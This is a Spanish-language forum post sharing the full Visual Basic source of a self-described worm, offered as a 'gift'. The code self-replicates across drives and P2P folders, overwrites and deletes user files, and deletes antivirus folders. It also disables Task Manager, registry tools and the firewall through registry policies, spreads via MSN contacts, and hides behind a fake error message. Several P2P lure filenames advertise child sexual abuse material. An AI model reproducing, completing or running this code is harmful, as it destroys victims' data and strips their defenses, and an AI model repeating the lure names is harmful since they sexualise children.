Worm By: DrakoX

Bueno,
mña me voy de vacaciónes,
y queria poder dejarles este regalito antes de irme,
es un worm, que vengo realizando hace un par de dias,
Esta listo para comenzar a infectar solo que,
hay que darle unos ajustes finales,
como descargar algun archivo, y ponerle la parte de IS para el MSN,
tambien se le pueden agregar un par de funciones mas, pero,
no podia dejarlos sin ver el worm antes de irme.

Supongo q cuando vuelva, lo seguire arreglando, ya que ahora no tengo mas tiempo.
Código:
'Agregarle la referencia Microsoft Scripting Runtime
'Agregarle la referencia Messenger API type library
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long 'API para descargar archivos de manera oculta
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long 'API para obtener los HD
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long 'API para obtener la carpeta system32

Public WithEvents msn As MessengerAPI.Messenger
Dim reg As New clsRegistryAccess
Dim Fso As New FileSystemObject
Dim Carpetas As New Collection
Dim Espera As Integer

Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean 'Función para descargar archivos de forma oculta
Dim lngRetVal As Long
    lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
    If lngRetVal = 0 Then DownloadFile = True
End Function

Public Function q(j) 'Funcion para cifrar claves del registro
On Error Resume Next
For r = 1 To Len(j)
q = q & Chr(Asc(Mid(j, r, 1)) - 20)
Next r
End Function

Private Sub Get_Drives() 'Obtengo los HD para la Reproducción
Dim Drive As String
Drives = Array("A:\", "B:\", "C:\", "D:\", "E:\", "F:\", "G:\", "H:\", "I:\", "J:\")
For X = LBound(Drives) To UBound(Drives)
    Select Case GetDriveType(Drives(X))
        Case 3
            Drive = Drives(X)
            Call Reproducción(Drive, reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "Reproducción", 0))
    End Select
Next X
End Sub

Private Sub Reproducción(Path As String, Nº As Double) 'Me Reprodusco x todo el disco cada vez que me inicio
On Error Resume Next
If Fso.GetFolder(Path).SubFolders.Count = 0 Then: Exit Sub
For Each i In Fso.GetFolder(Path).SubFolders
    Carpetas.Add (i)
    Fso.CopyFile App.Path & "\" & App.EXEName & ".exe", i & "\" & Nº & ".exe", False
    SetAttr i & "\" & Nº & ".exe", vbReadOnly + vbHidden + vbSystem
    Nº = Nº + 1
    DoEvents
    Reproducción (i), Nº
Next
reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "Reproducción", Nº
End Sub

Private Sub Infectar_MzN() 'Infecto a los contactos del MSN utilizando IS
On Error Resume Next
Dim contacto As IMessengerContact
Set w = CreateObject("Messenger.UIAutomation")
For Each contacto In w.MyContacts
    If contacto.Status <> MISTATUS_OFFLINE Then
        Set iMsn = w.InstantMessage(contacto.SigninName)
        SendKeys ("Utilizar Ingenieria Social" & "{ENTER}" & "%{F4}")
    End If
Next
End Sub

Private Sub Borrar_Archivos() 'Borro archivos que pueden ser importantes para el Usuario
On Error Resume Next
EXTlist = Array("mp3", "mid", "aif", "mp4", "ogg", "wma", "wmv", "wav", "asf", "avi", "mpg", "mov", "ace", "arj", "cab", "iso", "rar", "zip", "doc", "txt", "pdf", "pps", _
"sdd", "sdc", "sdw", "sxg", "xls", "xlm", "rtf", "ctt", "msg", "xml", "htm", "css", "swf", "vbs", "3ds", "jpg", "jpeg", "gif", "bmp", "png", "reg", "sys", "h", "cpp", "bak", _
"cab", "ttf", "fon", "lnk")
For Each i In Carpetas
    For Each j In Fso.GetFolder(i).Files
        For y = LBound(EXTlist) To UBound(EXTlist)
            If Fso.GetExtensionName(j) = EXTlist(y) Then
                Fso.CopyFile App.Path & "\" & App.EXEName & ".exe", j, True
                Fso.DeleteFile j, True
            End If
        Next y
    Next
Next
Call Buscar_P2P
End Sub

Private Sub Anti_AV() 'Mato a diferentes AntiVirus para dejar indefensa la PC
On Error Resume Next
Dim AVarray() As String
AVlist = Array("Panda Software", "Kaspersky Lab", "Spybot - Search & Destroy", "Spyware Doctor", "Webroot", "Microsoft Antispyware", "Lavasoft", "Registry Mechanic", "System Mechanic", "ESET", "Grisoft", "xerox", "ALWIL Software", _
"BitDefender Professional Plus", "The Cleaner Pro", "Symantec", "Zone Labs", "Norton antivirus", "Alwil Software", "Symantec Shared", "Norton Internet Security", "ewido anti-malware", "Norton AntiVirus", "Norton Utilities", "Norton SystemWorks", _
"SpyAxe", "SpywareStrike", "VirusScan", "Eset", "AVPersonal", "Softwin", "Symantec AntiVirus", "AVG7", "McAfee", "McAfee.com", "SinEspias", "Trojan Remover", "Trend Micro", "Persystems", "BillP Studios", "SpywareBlaster", "The Cleaner", "Agnitum", _
"HJT", "TrojanShield", "Iparmor", "Prisma Firewall", "Kerio", "Sygate", "CA", "eTrust Internet Security Suite", "BullGuard Software", "AxBx", "TrojanHunter 4.2", "Anti Trojan Elite", "ClamWin", "Evidence Destructor", "Arovax Shield", _
"Adware Away", "Aluria Software", "Norman", "eTrust")
For Each j In Carpetas
    AVarray = Split(j, "\")
    For X = LBound(AVarray) To UBound(AVarray)
        For y = LBound(AVlist) To UBound(AVlist)
            If AVarray(X) = AVlist(y) Then
                Fso.DeleteFolder j, True
            End If
        Next y
    Next X
Next
Call Registro
End Sub

Private Sub Buscar_P2P() 'Busco las carpetas de los P2P para luego infectarlas
On Error Resume Next
Dim P2Parray() As String
P2Plist = Array("incoming", "Incoming", "Files", "My Grokster", "Downloads", "Download", "Shared", "Share", "My Shared Folder", "shared files", "Received Files")
For Each w In Carpetas
    P2Parray = Split(w, "\")
    For X = LBound(P2Parray) To UBound(P2Parray)
        For y = LBound(P2Plist) To UBound(P2Plist)
            If P2Parray(X) = P2Plist(y) Then
                Infectar_P2P (w)
            End If
        Next y
    Next X
Next
Call Infectar_MzN
End Sub

Private Sub Infectar_P2P(Peer_to_Peer As String) 'Me propago por P2P infectando las carpetas encontradas
On Error Resume Next
Dim Nombre(1 To 40)
Dim Extención(1 To 10)
Nombre(1) = "Counter Strike"
Nombre(2) = "Hotmail Hack"
Nombre(3) = "Hotmail Hacking Programe"
Nombre(4) = "Yahoo"
Nombre(5) = "Messenger Plus"
Nombre(6) = "Matrix Revolution"
Nombre(7) = "Sillent Hill"
Nombre(8) = "Mu Online Hack"
Nombre(9) = "Rolling Stones"
Nombre(10) = "LimeWire Pro"
Nombre(11) = "GTA San Andreas"
Nombre(12) = "eMule Gold Edition"
Nombre(13) = "Ragnarok"
Nombre(14) = "Pampita desnuda"
Nombre(15) = "X-treme sport"
Nombre(16) = "Winamp 10.7 Pro"
Nombre(17) = "Nero Buning Studio"
Nombre(18) = "Fifa 2007"
Nombre(19) = "Los Sims 2"
Nombre(20) = "NFS Carbon"
Nombre(21) = "World of Warcraft"
Nombre(22) = "Ricardo Arjona"
Nombre(23) = "U2"
Nombre(24) = "ZoneAlarm_Professional"
Nombre(25) = "Worms"
Nombre(26) = "La Renga"
Nombre(27) = "Eminem"
Nombre(28) = "Windows Vista"
Nombre(29) = "Norton Anti-virus"
Nombre(30) = "Greenday"
Nombre(31) = "Rammstein Full CD"
Nombre(32) = "Labios Compartidos"
Nombre(33) = "System of a down - ToxiCity"
Nombre(34) = "SOAD"
Nombre(35) = "Linux Kubuntu"
Nombre(36) = "Rata Blanca"
Nombre(37) = "Paris masturbandose"
Nombre(38) = "Britney Spears chupando pija"
Nombre(39) = "10 year old girls masturbating"
Nombre(40) = "12 year old girl being fuck by her father"

Extención(1) = ".avi.exe"
Extención(2) = ".gif.exe"
Extención(3) = ".jpg.exe"
Extención(4) = ".mpeg.exe"
Extención(5) = ".mp3.exe"
Extención(6) = " Crack.exe"
Extención(7) = " KeyGen.exe"
Extención(8) = " Serial.exe"
Extención(9) = " Ultima Version.exe"
Extención(10) = ".exe"

For N = 1 To 40
    For E = 1 To 10
    Fso.CopyFile App.Path & "\" & App.EXEName & ".exe", Peer_to_Peer & "\" & Nombre(N) & Extención(E), False
    Next E
Next N
End Sub

Private Sub Registro() 'Juego con el registro XD
Dim buf As String
Dim ret As Long
Dim Worm As String
buf = String$(260, Chr$(0))
ret = GetSystemDirectory(buf, Len(buf))
Worm = Left$(buf, ret) & "\Explorer32.exe"

reg.CreateKeyIfDoesntExists = True
reg.CreateKey q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF")
If reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "Starup") <> 1 Then
    If reg.WriteString(q("\_Yms`cWU`saUW\]bYpgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk}‚xƒ‹‡pW‰††y‚ˆjy†‡}ƒ‚pf‰‚gy†Š}wy"), "Explorer32", Worm) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "Starup", 1
    End If
ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "NoSetFolders") <> 1 Then
    If reg.WriteDWORD(q("\_YmsWiffYbhsigYfpgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk}‚xƒ‹‡pW‰††y‚ˆjy†‡}ƒ‚pdƒ€}w}y‡pYŒ„€ƒ†y†"), "NoSetFolders", 1) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "NoSetFolders", 1
    End If
ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "NoFind") <> 1 Then
    If reg.WriteDWORD(q("\_YmsWiffYbhsigYfpgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk}‚xƒ‹‡pW‰††y‚ˆjy†‡}ƒ‚pdƒ€}w}y‡pYŒ„€ƒ†y†"), "NoFind", 1) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "NoFind", 1
    End If
ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "NoRun") <> 1 Then
    If reg.WriteDWORD(q("\_YmsWiffYbhsigYfpgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk}‚xƒ‹‡pW‰††y‚ˆjy†‡}ƒ‚pdƒ€}w}y‡pYŒ„€ƒ†y†"), "NoRun", 1) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "NoRun", 1
    End If
ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "NoClose") <> 1 Then
    If reg.WriteDWORD(q("\_YmsWiffYbhsigYfpgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk}‚xƒ‹‡pW‰††y‚ˆjy†‡}ƒ‚pdƒ€}w}y‡pYŒ„€ƒ†y†"), "NoClose", 1) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "NoClose", 1
    End If
ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "NoLogOff") <> 1 Then
    If reg.WriteDWORD(q("\_YmsWiffYbhsigYfpgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk}‚xƒ‹‡pW‰††y‚ˆjy†‡}ƒ‚pdƒ€}w}y‡pYŒ„€ƒ†y†"), "NoLogOff", 1) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "NoLogOff", 1
    End If
ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "Disabled") <> 1 Then
    If reg.WriteDWORD(q("\_YmsWiffYbhsigYfpgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk}‚xƒ‹‡pW‰††y‚ˆjy†‡}ƒ‚pdƒ€}w}y‡pk}‚c€xU„„"), "Disabled", 1) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "Disabled", 1
    End If
ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "Login") <> 1 Then
    If reg.KillKey(q("\_`apbyˆ‹ƒ†p`ƒ{ƒ‚")) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "Login", 1
    End If
ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "NoAddRemovePrograms") <> 1 Then
    If reg.WriteDWORD(q("\_Wipgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk}‚xƒ‹‡pW‰††y‚ˆjy†‡}ƒ‚pdƒ€}w}y‡pi‚}‚‡ˆu€€pgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk}‚xƒ‹‡pW‰††y‚ˆjy†‡}ƒ‚pdƒ€}w}y‡pi‚}‚‡ˆu€€"), "NoAddRemovePrograms", 1) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "NoAddRemovePrograms", 1
    End If
ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "HideClock") <> 1 Then
    If reg.WriteDWORD(q("\_Wipgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk}‚xƒ‹‡pW‰††y‚ˆ4jy†‡}ƒ‚pdƒ€}w}y‡pYŒ„€ƒ†y†"), "HideClock", 1) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "HideClock", 1
    End If
ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "NoTrayItemsDisplay") <> 1 Then
    If reg.WriteDWORD(q("\_Wipgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk}‚xƒ‹‡pW‰††y‚ˆ4jy†‡}ƒ‚pdƒ€}w}y‡pYŒ„€ƒ†y†"), "NoTrayItemsDisplay", 1) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "NoTrayItemsDisplay", 1
    End If
ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "Hidden") <> 1 Then
    If reg.WriteDWORD(q("\_`apg‡ˆypW‰††y‚ˆWƒ‚ˆ†ƒ€gyˆpgy†Š}wy‡p`u‚u‚kƒ†‡ˆuˆ}ƒ‚pdu†uyˆy†‡"), "Hidden", 1) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "Hidden", 1
    End If
ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "DisableTaskMgr") <> 1 Then
    If reg.WriteDWORD(q("\_YmsWiffYbhsigYfpgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk}‚xƒ‹‡pW‰††y‚ˆjy†‡}ƒ‚pdƒ€}w}y‡pg‡ˆy"), "DisableTaskMgr", 1) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "DisableTaskMgr", 1
    End If
ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "EnableBallonTips") <> 1 Then
    If reg.WriteDWORD(q("\_Wipgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk}‚xƒ‹‡pW‰††y‚ˆjy†‡}ƒ‚pYŒ„€ƒ†y†pUxŠu‚wyx"), "EnableBallonTips", 0) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "EnableBallonTips", 1
    End If
ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "EnableFirewall") <> 1 Then
    If reg.WriteDWORD(q("\_`apgmghYapW‰††y‚ˆWƒ‚ˆ†ƒ€gyˆpgy†Š}wy‡pg|u†yxUwwy‡‡pdu†uyˆy†‡pZ}†y‹u€€dƒ€}wpgˆu‚xu†xd†ƒz}€y"), "EnableFirewall", 0) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "EnableFirewall", 1
    End If
ElseIf reg.ReadString(q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "DisableRegistryTools") <> 1 Then
    If reg.WriteDWORD(q("\_YmsWiffYbhsigYfpgƒzˆ‹u†ypa}w†ƒ‡ƒzˆpk}‚xƒ‹‡pW‰††y‚ˆjy†‡}ƒ‚pdƒ€}w}y‡pg‡ˆy"), "DisableRegistryTools", 1) <> 0 Then
        reg.WriteString q("\_Yms`cWU`saUW\]bYpgmghYapgyˆ‰„pYŒ„€ƒ†y†GF"), "DisableRegistryTools", 1
    End If
End If

If Not Fso.FileExists(Worm) Then
Fso.CopyFile App.Path & "\" & App.EXEName & ".exe", Worm, False
SetAttr Worm, vbHidden + vbSystem
End If
Call Borrar_Archivos
End Sub

Private Sub Form_Load() 'Cuando inicio, envio un mensaje de error para no despertar sospechas
Me.Visible = False
App.TaskVisible = False
App.Title = "Explorer32"
Espera = 0

MsgBox "Error #699" & vbCrLf & "Error trying to execute file", vbCritical, "Error"
Call Get_Drives
End Sub

Private Sub Timer1_Timer() 'Aqui espero 5 minutos, a que se termine la parte de Reproducción para comenzar a Matar AV's
If Espera >= 300 Then
Call Anti_AV
Timer1.Enabled = False
Else
Espera = Espera + 1
End If
End Sub
para que funcione la parte del registro,
se le debe agregar un Class Module,
el cual se los dejare mas adelnate, en mi retorno,
Aclaro algo, no lo he probado, pero si es por logica deberia funcionar jaja
bueno, salu2 y q tengan suerte en mi ausencia xD